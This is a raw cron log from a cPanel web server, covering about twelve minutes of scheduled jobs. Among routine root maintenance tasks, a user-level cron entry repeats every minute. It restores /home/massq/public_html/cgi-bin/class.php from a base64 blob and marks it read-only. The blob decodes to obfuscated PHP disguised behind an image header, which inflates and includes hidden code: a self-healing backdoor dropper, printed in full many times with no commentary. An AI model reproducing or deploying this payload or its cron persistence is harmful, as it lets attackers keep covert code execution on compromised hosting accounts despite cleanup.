Sep 11 17:08:01 server CROND[10308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:08:01 server CROND[10309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:08:01 server CROND[10310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:09:01 server CROND[10721]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 17:09:01 server CROND[10724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:09:01 server CROND[10723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:09:01 server CROND[10722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:10:01 server CROND[11111]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 17:10:01 server CROND[11112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:10:01 server CROND[11114]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 17:10:01 server CROND[11115]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:10:01 server CROND[11119]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:10:01 server CROND[11117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:10:01 server CROND[11116]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 17:10:01 server CROND[11118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:11:01 server CROND[12026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:11:01 server CROND[12027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:11:01 server CROND[12028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:12:01 server CROND[12425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:12:01 server CROND[12427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:12:01 server CROND[12426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:12:01 server CROND[12428]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 17:13:01 server CROND[12811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:13:01 server CROND[12812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:13:01 server CROND[12813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:14:01 server CROND[13191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:14:01 server CROND[13192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:14:01 server CROND[13193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:15:01 server CROND[13581]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 17:15:01 server CROND[13582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:15:01 server CROND[13593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:15:01 server CROND[13591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:15:01 server CROND[13592]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 17:15:01 server CROND[13595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:15:01 server CROND[13594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:15:01 server CROND[13596]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 17:16:01 server CROND[14546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:16:01 server CROND[14547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:16:01 server CROND[14548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:17:01 server CROND[14936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:17:01 server CROND[14937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:17:01 server CROND[14935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:18:01 server CROND[15316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:18:01 server CROND[15317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:18:01 server CROND[15318]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:19:01 server CROND[15698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:19:01 server CROND[15699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:19:01 server CROND[15700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:20:01 server CROND[16127]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 17:20:01 server CROND[16129]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 17:20:01 server CROND[16130]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
